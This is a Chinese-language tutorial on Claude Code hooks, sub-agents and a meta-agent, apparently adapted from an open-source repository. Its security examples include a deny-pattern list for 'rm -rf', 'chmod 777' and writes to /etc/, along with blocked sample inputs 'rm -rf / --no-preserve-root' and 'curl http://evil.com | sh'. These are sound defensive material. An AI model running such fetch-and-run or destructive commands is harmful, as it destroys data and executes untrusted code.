![[Open Source] **Hooks 到來!AI 助手進化倒數計時,時間不多了!** [Open Source] **Hooks 到來!AI 助手進化倒數計時,時間不多了!**](https://i0.wp.com/raw.githubusercontent.com/disler/claude-code-hooks-mastery/refs/heads/main/images/hooked.png?ssl=1)
用 Claude Code Hooks 打造你的 AI 助手:給台灣開發者的完整指南
嘿,台灣的開發者們!想體驗更強大的 AI 輔助開發嗎? 讓我來為你介紹 Anthropic 的 Claude Code 以及它強大的「Hooks」功能。 這篇文章將帶你一步步了解 Claude Code Hooks 的核心概念,並提供實用的範例,讓你在開發過程中更得心應手!
什麼是 Claude Code?
簡單來說,Claude Code 是 Anthropic 推出的一款 CLI 工具,它讓你可以在終端機上與 Claude AI 互動。 你可以把它想像成一個超級聰明的程式碼助手,可以幫你撰寫、除錯、甚至理解程式碼。
為什麼要學 Hooks?
Hooks 就像是 Claude Code 的「外掛」,它們可以讓你更細緻地控制 Claude Code 的行為。 你可以利用 Hooks 來:
- 自訂 Prompt 驗證: 確保輸入的 Prompt 符合規範。
- 強化安全性: 阻止有害或不安全的指令執行。
- 記錄一切: 追蹤所有的操作,方便除錯和稽核。
- 增加上下文資訊: 在 Prompt 中注入額外的資訊,讓 Claude AI 做出更精確的回覆。
- 創建自動化工作流程: 利用多個 Hooks 串聯,實現複雜的操作。
總而言之,Hooks 讓你能夠將 Claude Code 變成你專屬、量身打造的 AI 助手。
準備工作:先決條件
在使用 Claude Code Hooks 之前,你需要安裝一些必要的工具:
- Astral UV: 一個快速的 Python 套件安裝器,讓你更有效率地管理專案依賴。 可以在 Astral UV 找到安裝說明。
- Claude Code: Anthropic 的 CLI 工具。 按照 Claude Code 的說明進行安裝。
可選設定:
- ElevenLabs: 文字轉語音服務,可以用來增加語音提示。
- ElevenLabs MCP Server: ElevenLabs 的 MCP 伺服器,用來整合 ElevenLabs 服務。
- Firecrawl MCP Server: 用於網頁抓取的 MCP 伺服器 (我個人很推薦)。
- OpenAI: 另一個大型語言模型 (LLM) 提供者,也提供文字轉語音服務。
- Anthropic: Claude AI 的提供者。
- Ollama: 本地端 LLM 提供者,讓你可以在自己的電腦上運行模型。
Hooks 的生命週期與 Payload
想像一下,當你使用 Claude Code 時,整個過程就像一個充滿各種事件的旅程。 Hooks 就像是沿途的檢查點,在特定的事件發生時觸發,並讓你截取和修改流程。
這個範例展示了 Claude Code 的 13 個 Hooks 事件,以及它們的 JSON Payload (有效載荷):
Hook 生命週期概覽
flowchart TB
subgraph SESSION["🟢 Session 週期"]
direction TB
SETUP[["🔧 設定<br/>(init/維護)"]]
START[["▶️ SessionStart<br/>(啟動/恢復/清除)"]]
END[["⏹️ SessionEnd<br/>(退出/信號中斷/錯誤)"]]
end
subgraph MAIN["🔄 主要對話迴圈"]
direction TB
PROMPT[["📝 UserPromptSubmit"]]
CLAUDE["Claude 處理"]
subgraph TOOLS["🛠️ 工具執行"]
direction TB
PRE[["🔒 PreToolUse"]]
PERM[["❓ PermissionRequest"]]
EXEC["工具執行"]
POST[["✅ PostToolUse"]]
FAIL[["❌ PostToolUseFailure"]]
end
subgraph SUBAGENT["🤖 副代理人週期"]
direction TB
SSTART[["🚀 SubagentStart"]]
SWORK["副代理人工作"]
SSTOP[["🏁 SubagentStop"]]
end
NOTIFY[["🔔 通知<br/>(非同步)"]]
STOP[["🛑 Stop"]]
end
subgraph COMPACT["🗜️ 維護"]
PRECOMPACT[["📦 PreCompact"]]
end
SETUP --> START
START --> PROMPT
PROMPT --> CLAUDE
CLAUDE --> PRE
PRE --> PERM
PERM --> EXEC
EXEC --> POST
EXEC -.-> FAIL
CLAUDE -.-> SSTART
SSTART --> SWORK
SWORK --> SSTOP
POST --> CLAUDE
CLAUDE --> STOP
CLAUDE -.-> NOTIFY
STOP --> PROMPT
STOP -.-> END
PROMPT -.-> PRECOMPACT
PRECOMPACT -.-> PROMPT
- SESSION 週期: 設定、啟動和結束階段。
- MAIN 對話迴圈: 核心的對話流程,包含 Prompt 提交、Claude 處理、工具執行、副代理人工作等。
- COMPACT 維護: 壓縮操作前的處理。
各種 Hook 事件的詳細說明:
- UserPromptSubmit Hook (使用者提示提交):
- 觸發時機: 使用者提交 Prompt 後 (Claude 處理之前)。
- Payload:
prompt(文字提示)、session_id(會話 ID)、時間戳記。 - 用途: 提示驗證、記錄、上下文資訊注入、安全過濾。
- PreToolUse Hook (工具執行前):
- 觸發時機: 任何工具執行之前。
- Payload:
tool_name(工具名稱)、tool_input(工具輸入參數)。 - 用途: 阻擋危險指令 (例如
rm -rf)、檢查參數。
- PostToolUse Hook (工具執行後):
- 觸發時機: 工具成功執行後。
- Payload:
tool_name、tool_input、tool_response(結果)。 - 用途: 記錄、轉換轉錄檔。
- Notification Hook (通知):
- 觸發時機: Claude Code 傳送通知時 (例如等待使用者輸入)。
- Payload:
message(通知內容)。 - 用途: 語音提示 (TTS)。
- Stop Hook (停止):
- 觸發時機: Claude Code 完成回應時。
- Payload:
stop_hook_active(布林值旗標)。 - 用途: AI 生成完成訊息並播放語音提示。
- SubagentStop Hook (副代理人停止):
- 觸發時機: 副代理人 (Task 工具) 完成回應時。
- Payload:
stop_hook_active。 - 用途: 副代理人完成的語音提示。
- PreCompact Hook (壓縮前):
- 觸發時機: Claude Code 執行壓縮操作之前。
- Payload:
trigger(“manual” 或 “auto”)、custom_instructions(用於手動壓縮)、會話資訊。 - 用途: 轉錄檔備份、詳細的壓縮資訊。
- SessionStart Hook (會話開始):
- 觸發時機: Claude Code 啟動新會話或恢復現有會話時。
- Payload:
source(“startup”, “resume” 或 “clear”)、會話資訊。 - 用途: 載入開發環境設定、會話記錄。
- SessionEnd Hook (會話結束):
- 觸發時機: Claude Code 會話結束時 (退出、信號中斷或錯誤)。
- Payload:
session_id、transcript_path、cwd、permission_mode、reason。 - 用途: 會話記錄、清理任務。
- PermissionRequest Hook (權限請求):
- 觸發時機: 顯示權限對話框時。
- Payload:
tool_name、tool_input、tool_use_id、會話資訊。 - 用途: 權限稽核、自動允許只讀操作。
- PostToolUseFailure Hook (工具執行失敗):
- 觸發時機: 工具執行失敗時。
- Payload:
tool_name、tool_input、tool_use_id、error(錯誤物件)。 - 用途: 結構化的錯誤記錄。
- SubagentStart Hook (副代理人啟動):
- 觸發時機: 副代理人 (Task 工具) 啟動時。
- Payload:
agent_id、agent_type、會話資訊。 - 用途: 副代理人啟動記錄、語音提示。
- Setup Hook (設定):
- 觸發時機: Claude 進入儲存庫 (初始化) 或定期維護時。
- Payload:
trigger(“init” 或 “maintenance”)、會話資訊。 - 用途: 環境設定、
additionalContext注入上下文資訊。
核心概念:UV 單檔腳本架構
為了保持 Hook 的邏輯與你的主要程式碼分開,這個專案使用了 UV 單檔腳本。所有 Hooks 都位於 .claude/hooks/ 資料夾中,作為獨立的 Python 腳本,並嵌入了相依性宣告。
優點:
- 隔離性: Hook 邏輯與你的專案依賴分開。
- 可移植性: 每個 Hook 腳本都宣告了自己的依賴。
- 無虛擬環境管理: UV 自動處理依賴關係。
- 快速執行: UV 的依賴解析速度非常快。
- 自包含: 每個 Hook 都可以獨立理解和修改。
這種方式可以確保你的 Hooks 在不同的環境中都能正常運作,而不會污染你主要專案的依賴樹。
關鍵檔案
以下是一些你可能會接觸到的關鍵檔案:
.claude/settings.json:Hook 設定檔,包含權限設定。.claude/hooks/:每個 Hook 類型的 Python 腳本。user_prompt_submit.py:提示驗證、記錄和上下文資訊注入。pre_tool_use.py:安全阻擋和記錄。post_tool_use.py:記錄和轉錄檔轉換。post_tool_use_failure.py:錯誤記錄,包含詳細資訊。notification.py:通知事件。stop.py:AI 生成的完成訊息,並搭配 TTS。subagent_stop.py:副代理人完成的簡單 TTS。subagent_start.py:副代理人啟動事件。pre_compact.py:壓縮前的事件。session_start.py:會話開始事件。session_end.py:會話結束事件。permission_request.py:權限請求稽核。setup.py:初始化設定。validators/:程式碼品質驗證 Hooks。ruff_validator.py:Python 程式碼的 Ruff linting。ty_validator.py:Python 程式碼的型別檢查。
utils/:智慧 TTS 和 LLM 實用腳本。tts/:文字轉語音提供者。tts_queue.py:基於佇列的 TTS 管理。
llm/:語言模型整合。task_summarizer.py:LLM 驅動的任務完成摘要。
.claude/status_lines/:終端機狀態顯示。.claude/output-styles/:回應格式設定。.claude/commands/:自訂斜線指令。.claude/agents/:副代理人設定。logs/:所有 Hook 執行的 JSON 記錄。ai_docs/:文件資源。ruff.toml:Ruff linter 設定。ty.toml:型別檢查器設定。
實際應用:Hooks 展示的功能
這個範例展示了以下功能:
- Prompt 驗證和安全過濾
- 上下文資訊注入
- 命令記錄和稽核
- 自動轉錄檔轉換
- 基於權限的工具存取控制
- Hook 執行中的錯誤處理
你可以在 logs/ 資料夾中看到所有 Hook 的運作記錄。
Hook 錯誤碼與流程控制
Hooks 提供了強大的機制來控制執行流程,並透過退出碼和結構化的 JSON 輸出提供回饋。
退出碼行為
Hooks 透過退出碼來傳達狀態和控制流程:
| 退出碼 | 行為 | 描述 |
|---|---|---|
| 0 | 成功 | Hook 成功執行。stdout 在轉錄模式 (Ctrl-R) 中顯示給使用者 |
| 2 | 阻擋錯誤 | 嚴重: stderr 會自動饋回給 Claude。參見 Hook 相關行為 |
| 其他 | 非阻擋錯誤 | stderr 顯示給使用者,執行會正常繼續 |
Hook 相關流程控制
每個 Hook 類型都有不同的能力來阻擋和控制 Claude Code 的行為:
UserPromptSubmit Hook – 可以阻擋 Prompt & 新增上下文資訊
- 主要控制點: 在 Claude 處理之前攔截使用者 Prompt
- 退出碼 2 行為: 完全阻擋 Prompt,向使用者顯示錯誤訊息
- 用例: Prompt 驗證、安全過濾、上下文資訊注入、稽核記錄
- 範例: 我們的
user_prompt_submit.py會記錄所有 Prompt,並能驗證它們
PreToolUse Hook – 可以阻擋工具執行
- 主要控制點: 在工具執行之前攔截工具呼叫
- 退出碼 2 行為: 完全阻擋工具呼叫,向 Claude 顯示錯誤訊息
- 用例: 安全驗證、參數檢查、防止危險命令
- 範例: 我們的
pre_tool_use.py會阻擋rm -rf指令,並使用退出碼 2
# 阻擋危險命令
if is_dangerous_rm_command(command):
print("BLOCKED: Dangerous rm command detected", file=sys.stderr)
sys.exit(2) # 阻擋工具呼叫,向 Claude 顯示錯誤
PostToolUse Hook – 無法阻擋 (工具已執行)
- 主要控制點: 在工具完成後提供回饋
- 退出碼 2 行為: 向 Claude 顯示錯誤 (工具已執行,無法復原)
- 用例: 結果驗證、格式化、清理、記錄
- 限制: 無法阻止工具執行,因為它是在完成後觸發
Notification Hook – 無法阻擋
- 主要控制點: 處理 Claude Code 通知
- 退出碼 2 行為: N/A – 僅向使用者顯示 stderr,無阻擋功能
- 用例: 自訂通知、記錄、使用者提示
- 限制: 無法控制 Claude Code 行為,純粹提供資訊
Stop Hook – 可以阻擋停止
- 主要控制點: 在 Claude Code 嘗試停止回應時攔截
- 退出碼 2 行為: 阻擋停止,向 Claude 顯示錯誤 (強制繼續)
- 用例: 確保任務完成、驗證最終狀態 – 使用此強制繼續
- 注意: 如果控制不當,可能會造成無窮迴圈
SubagentStop Hook – 可以阻擋副代理人停止
- 主要控制點: 在 Claude Code 副代理人嘗試完成時攔截
- 退出碼 2 行為: 阻擋副代理人停止,向副代理人顯示錯誤
- 用例: 確保副代理人任務正確完成
- 範例: 我們的
subagent_stop.py會記錄事件並宣告完成
PreCompact Hook – 無法阻擋
- 主要控制點: 在壓縮操作之前觸發
- 退出碼 2 行為: N/A – 僅向使用者顯示 stderr,無阻擋功能
- 用例: 轉錄檔備份、上下文資訊保留、壓縮前記錄
- 範例: 我們的
pre_compact.py會在壓縮前建立轉錄檔備份
SessionStart Hook – 無法阻擋
- 主要控制點: 在新會話開始或恢復時觸發
- 退出碼 2 行為: N/A – 僅向使用者顯示 stderr,無阻擋功能
- 用例: 載入開發環境、會話初始化、環境設定
- 範例: 我們的
session_start.py會載入 Git 狀態、最近的問題和上下文資訊檔案
進階 JSON 輸出控制
除了簡單的退出碼之外,Hooks 可以返回結構化的 JSON,以實現複雜的控制:
常用 JSON 欄位 (所有 Hook 類型)
{
"continue": true, // Claude 是否應繼續 (預設:true)
"stopReason": "string", // 當 continue=false 時的訊息 (顯示給使用者)
"suppressOutput": true // 隱藏 stdout 來自轉錄檔 (預設:false)
}
PreToolUse 決策控制
{
"decision": "approve" | "block" | undefined,
"reason": "決策說明"
}
- “approve”: 繞過權限系統,向使用者顯示
reason - “block”: 阻止工具執行,向 Claude 顯示
reason - undefined: 正常權限流程,忽略
reason
PostToolUse 決策控制
{
"decision": "block" | undefined,
"reason": "決策說明"
}
- “block”: 自動提示 Claude 顯示
reason - undefined: 無動作,忽略
reason
Stop 決策控制
{
"decision": "block" | undefined,
"reason": "阻止 Claude 停止時必須提供"
}
- “block”: 阻止 Claude 停止,
reason告訴 Claude 如何進行 - undefined: 允許正常停止,忽略
reason
流程控制優先順序
當使用多個控制機制時,它們遵循以下優先順序:
"continue": false– 優先於所有其他控制"decision": "block"– Hook 相關的阻擋行為- 退出碼 2 – 透過 stderr 簡單阻擋
- 其他退出碼 – 非阻擋錯誤
安全性實作範例
1. 命令驗證 (PreToolUse)
# 阻擋危險模式
dangerous_patterns = [
r'rm\s+.*-[rf]', # rm -rf 變體
r'sudo\s+rm', # sudo rm 指令
r'chmod\s+777', # 危險權限
r'>\s*/etc/', # 寫入系統目錄
]
for pattern in dangerous_patterns:
if re.search(pattern, command, re.IGNORECASE):
print(f"BLOCKED: {pattern} detected", file=sys.stderr)
sys.exit(2)
2. 結果驗證 (PostToolUse)
# 驗證檔案操作
if tool_name == "Write" and not tool_response.get("success"):
output = {
"decision": "block",
"reason": "檔案寫入操作失敗,請檢查權限並重試"
}
print(json.dumps(output))
sys.exit(0)
3. 完成驗證 (Stop Hook)
# 確保重要任務已完成
if not all_tests_passed():
output = {
"decision": "block",
"reason": "測試失敗。請在完成前修正失敗的測試。"
}
print(json.dumps(output))
sys.exit(0)
Hook 執行環境
- Timeout: 每個 Hook 的執行時間限制為 60 秒
- Parallelization (並行執行): 所有符合的 Hooks 會並行執行
- Environment (環境): 繼承 Claude Code 的環境變數
- Working Directory (工作目錄): 在目前的專案目錄中執行
- Input (輸入): 透過 stdin 傳入 JSON,包含會話和工具資料
- Output (輸出): 透過 stdout/stderr 處理,並附帶退出碼
UserPromptSubmit Hook 深入探討
UserPromptSubmit Hook 是 Claude Code 互動的第一道防線,也是增強互動的第一步。它會在使用者提交 Prompt 後立即觸發,甚至在 Claude 開始處理之前。
它的功能
- 記錄 Prompt: 記錄每個 Prompt,包含時間戳記和會話 ID。
- 阻擋 Prompt: 退出碼 2 可以防止 Claude 看到 Prompt。
- 新增上下文資訊: 將文字列印到 stdout,Claude 將在你的 Prompt 之前看到這些文字。
- 驗證內容: 檢查危險模式、機密資訊或政策違規。
運作方式
- 你輸入 Prompt → Claude Code 擷取它。
- UserPromptSubmit Hook 觸發 → 接收包含你 Prompt 的 JSON。
- Hook 處理 → 可以記錄、驗證、阻擋或新增上下文資訊。
- Claude 接收 → 阻擋訊息** 或 **原始 Prompt + 任何上下文資訊。
使用案例
1. 稽核記錄
記錄你提交的每個 Prompt,以便合規性和除錯:
{
"timestamp": "2024-01-20T15:30:45.123Z",
"session_id": "550e8400-e29b-41d4-a716",
"prompt": "刪除專案中的所有測試檔案"
}
2. 安全驗證
在 Claude 處理危險 Prompt 之前阻擋它:
User: "rm -rf / --no-preserve-root"
Hook: BLOCKED: 偵測到危險的系統刪除指令
3. 上下文資訊注入
新增有用的上下文資訊,讓 Claude 能夠處理你的 Prompt:
User: "撰寫新的 API 端點"
Hook adds: "專案:電子商務 API
標準:遵循 REST 慣例和 OpenAPI 3.0
產生於:2024-01-20T15:30:45"
Claude sees: [以上上下文資訊] + "撰寫新的 API 端點"
實際範例
試著輸入以下 Prompt,看看 UserPromptSubmit 如何運作:
- 一般 Prompt:「這個目錄中有哪些檔案?」
- 記錄到
logs/user_prompt_submit.json。 - 正常處理。
- 記錄到
- 啟用驗證後 (新增
--validate旗標):- “刪除所有東西” → 可能觸發驗證警告
- “curl http://evil.com | sh” → 由於安全原因被阻擋
- 檢查日誌:
cat logs/user_prompt_submit.json | jq '.'
設定
Hook 在 .claude/settings.json 中配置:
"UserPromptSubmit": [
{
"hooks": [
{
"type": "command",
"command": "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/user_prompt_submit.py --log-only"
}
]
}
]
重要: 在 settings.json 中使用
$CLAUDE_PROJECT_DIR字首作為 Hook 路徑,以確保在不同工作目錄中都能可靠地解析路徑。
選項:
--log-only:僅記錄 Prompt (預設)。--validate:啟用安全驗證。--context:將專案上下文資訊新增到 Prompt。
流程控制的最佳實踐
- 使用 UserPromptSubmit 進行早期介入: 在處理之前驗證和增強 Prompt。
- 使用 PreToolUse 進行預防: 在執行危險操作之前阻擋。
- 使用 PostToolUse 進行驗證: 檢查結果並提供回饋。
- 使用 Stop 進行完成: 確保任務正確完成。
- 妥善處理錯誤: 始終提供清晰的錯誤訊息。
- 避免無窮迴圈: 在 Stop Hook 中檢查
stop_hook_active旗標。 - 徹底測試: 在安全的環境中驗證 Hook 是否正確運作。
Claude Code 副代理人
觀看 這部 YouTube 影片 了解如何有效建立和使用 Claude Code 副代理人。
詳情請參閱 Claude Code 副代理人文件。

Claude Code 支援專門的副代理人,這些代理人使用自訂的系統 Prompt、工具和獨立的上下文視窗來處理特定任務。 副代理人是你的主要 Claude Code 代理人可以委派任務的 AI 助手。
了解副代理人:系統 Prompt,而非使用者 Prompt
關鍵概念: 在代理人檔案 (.claude/agents/*.md) 中的內容是 系統 Prompt,用於設定副代理人的行為。 它們不是使用者 Prompt。 這是建立代理人時 #1 的誤解。
資訊流程:
你 (使用者) → 主要代理人 → 副代理人 → 主要代理人 → 你 (使用者)

- 你向 Claude Code (主要代理人) 提出請求
- 主要代理人分析你的請求,並委派給適當的副代理人
- 副代理人使用其系統 Prompt 指示執行任務
- 副代理人將結果回報給主要代理人
- 主要代理人綜合並將結果呈現給你
重點:
- 副代理人 永遠 不會直接與你通訊
- 副代理人會以全新的狀態開始,沒有對話記錄
- 副代理人會回應主要代理人的 Prompt,而非你的 Prompt
description欄位會告知主要代理人 何時 使用副代理人
代理人儲存與組織
這個儲存庫展示了各種代理人配置:
專案代理人 (.claude/agents/):
.claude/agents/
├── crypto/ # 加密貨幣分析代理人
│ ├── crypto-coin-analyzer-haiku.md
│ ├── crypto-coin-analyzer-opus.md
│ ├── crypto-coin-analyzer-sonnet.md
│ ├── crypto-investment-plays-*.md
│ ├── crypto-market-agent-*.md
│ ├── crypto-movers-haiku.md
│ └── macro-crypto-correlation-scanner-*.md
├── hello-world-agent.md # 簡單的問候代理人
├── llm-ai-agents-and-eng-research.md # AI 研究專家
├── meta-agent.md # 建立代理人的代理人
└── work-completion-summary.md # 音訊摘要產生器
儲存階層:
- 專案代理人:
.claude/agents/(較高的優先權,特定於專案) - 使用者代理人:
~/.claude/agents/(較低的優先權,可在所有專案中使用) - 格式: 具有 YAML 前置碼的 Markdown 檔案
代理人檔案結構:
---
name: agent-name
description: 何時使用此代理人 (對自動委派至關重要)
tools: Tool1, Tool2, Tool3 # 可選 – 如果省略,則繼承所有工具
color: Cyan # 終端機中的視覺識別符
model: opus # 可選 - haiku | sonnet | opus - 預設為 sonnet
---
# 目的
你是一位 [角色定義]。
## 指示
1. 逐步指示
2. 代理人應該做什麼
3. 如何回報結果
## 報告/回應格式
指定代理人應如何將結果傳達回主要代理人。
副代理人能夠:
- 任務專業化: 程式碼審閱者、除錯器、測試執行者
- 上下文資訊保留: 每個代理人獨立運作
- 工具限制: 僅授予必要的權限
- 自動委派: Claude 主動使用正確的代理人
關鍵工程見解
兩個要避免的關鍵錯誤:
- 誤解系統 Prompt – 你在代理人檔案中寫的是 系統 Prompt,而非使用者 Prompt。 這會改變你建構指令的方式,以及代理人可以使用的資訊。
- 忽略資訊流程 – 副代理人會回應你的主要代理人,而不是你。 你的主要代理人會根據你的原始請求提示副代理人,副代理人會回報給主要代理人,然後主要代理人會回報給你。
最佳實踐:
- 使用
description欄位告知你的主要代理人 何時 以及 如何 提示副代理人 - 在描述中包含類似「PROACTIVELY 使用」或觸發字詞 (例如「如果他們說 TTS」)
- 請記住副代理人以全新的狀態開始,沒有上下文 – 請明確說明他們需要知道的內容
- 在建立代理人時遵循 問題 → 解決方案 → 技術 方法
複雜工作流程 & 代理人鏈
Claude Code 可以智慧地將多個副代理人連結在一起,以執行複雜任務:

例如:
- 「首先使用 crypto-market-agent 分析市場,然後使用 crypto-investment-plays 找出機會」
- 「使用除錯器代理人修正錯誤,然後讓程式碼審閱者檢查變更」
- 「使用 meta-agent 產生新的代理人,然後針對特定任務測試它」
這種鏈結讓你能夠建立複雜的工作流程,同時保持清晰的關注點分離。
Meta-Agent
Meta-Agent (.claude/agents/meta-agent.md) 是一個專門的副代理人,它根據描述產生新的副代理人。 它是「建立代理人的代理人」 – 是一個可以擴展你的代理人開發速度的關鍵工具。
Meta-Agent 的重要性:
- 快速代理人建立 – 在幾分鐘內建立數十個專業代理人,而非數小時
- 一致的結構 – 確保所有代理人都遵循最佳實踐和正確的格式
- 即時文件 – 提取最新的 Claude Code 文件,以掌握最新功能
- 智慧的工具選擇 – 自動判斷最小的工具需求
使用 Meta-Agent:
# 只要描述你想要的東西
「建立新的副代理人,執行測試並修正失敗」
# Claude Code 將會自動委派給 meta-agent
# 這將建立一個格式正確的代理人檔案
Meta-Agent 遵循以下原則:「找出如何擴展它。 建立建立它的東西。」 這種複合效應會呈指數級加速你的工程能力。
基於團隊的驗證系統
觀看演練: 觀看代理人團隊以及
/plan_w_team工作流程的實際操作,網址:https://youtu.be/4_2j5wgt_ds

這個儲存庫包含一個強大的建置/驗證工作流程模式,使用 Claude Code 任務系統來協調專門的代理人團隊。
/plan_w_team 元提示
/plan_w_team 指令 (.claude/commands/plan_w_team.md) 並非普通的提示 – 它包含三個強大的元件:
1. 自我驗證
提示在其前置碼中嵌入了 Hooks,以驗證其自己的輸出:
hooks:
stop:
- command: "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/validate_new_file.py specs/*.md"
- command: "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/validate_file_contains.py"
在規劃代理人完成後,這些驗證器會確保
參考閱讀
https://github.com/disler/claude-code-hooks-mastery